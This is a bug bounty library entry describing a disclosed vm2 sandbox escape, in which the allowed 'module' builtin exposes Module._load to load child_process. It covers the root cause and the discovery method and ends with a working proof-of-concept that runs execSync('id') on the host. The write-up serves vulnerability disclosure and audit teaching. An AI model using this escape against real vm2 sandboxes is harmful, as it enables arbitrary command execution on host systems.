# vm2 has a NodeVM builtin allowlist bypass via `module` builtin's `Module._load` that allows sandbox escape

vm2's NodeVM builtin allowlist lets the `module` builtin through, exposing host `Module._load` to load excluded builtins like child_process and achieve RCE.

- Payout: Research
- Severity: critical
- Program: vm2
- Found by: bugbunny-research
- Disclosed: 2026-05-07
- CVE: CVE-2026-43999
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-947f-4v7f-x2v8
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-947f-4v7f-x2v8
- Tags: area:oss domain:oss impact:internal-access impact:rce kind:research platform:ghsa sev:critical tech:nodejs technique:source-review vuln:auth-bypass vuln:sandbox-escape

**Target:** NodeVM builtin allowlist / lib/builtin.js
**Root cause:** `module` is included in BUILTIN_MODULES and not in SPECIAL_MODULES, so the '*' wildcard adds it with a generic readonly wrapper; ReadOnlyHandler doesn't override get/apply, so Module._load is forwarded to the host and loads any module unchecked.
**Steps:**
1. Configure NodeVM with `require: { builtin: ['*', '-child_process'], external: false }`
2. In sandbox: `const Module = require('module')`
3. Call `Module._load('child_process')` — forwarded to host Module._load, bypassing allowlist
4. Call `cp.execSync('id')` to execute on host
**How found:** Noticed the codebase specially isolates events/buffer/util but not `module`, then checked that ReadOnlyHandler only traps mutation ops and inherits get/apply from BaseHandler, which forwards calls to the host.
**Exploitation:** Sandboxed code obtains the readonly-proxied Node Module class, invokes _load('child_process') which BaseHandler.apply forwards to the host's native loader, then runs execSync to execute arbitrary commands on the host.
**Escalation:** Beyond _load, Module also exposes _resolveFilename, _cache, _pathCache for further abuse.
**Insight:** When auditing sandbox allowlists, check whether wildcard expansion includes meta-modules like `module` that expose the host's own loader; a readonly proxy that only blocks mutation traps still forwards method calls to host functions.

## Proof of concept (copied exactly from the original report)

**NodeVM PoC escaping via Module._load**

```
const { NodeVM } = require('vm2');

// Developer thinks child_process is blocked
const vm = new NodeVM({
  require: {
    builtin: ['*', '-child_process'],
    external: false,
  },
});

const out = vm.run(`
  const Module = require('module');
  // Module._load bypasses vm2's builtin allowlist entirely
  const cp = Module._load('child_process');
  module.exports = cp.execSync('id').toString();
`, 'poc.js');

console.log(out.trim()); // prints host uid/gid — RCE achieved
```

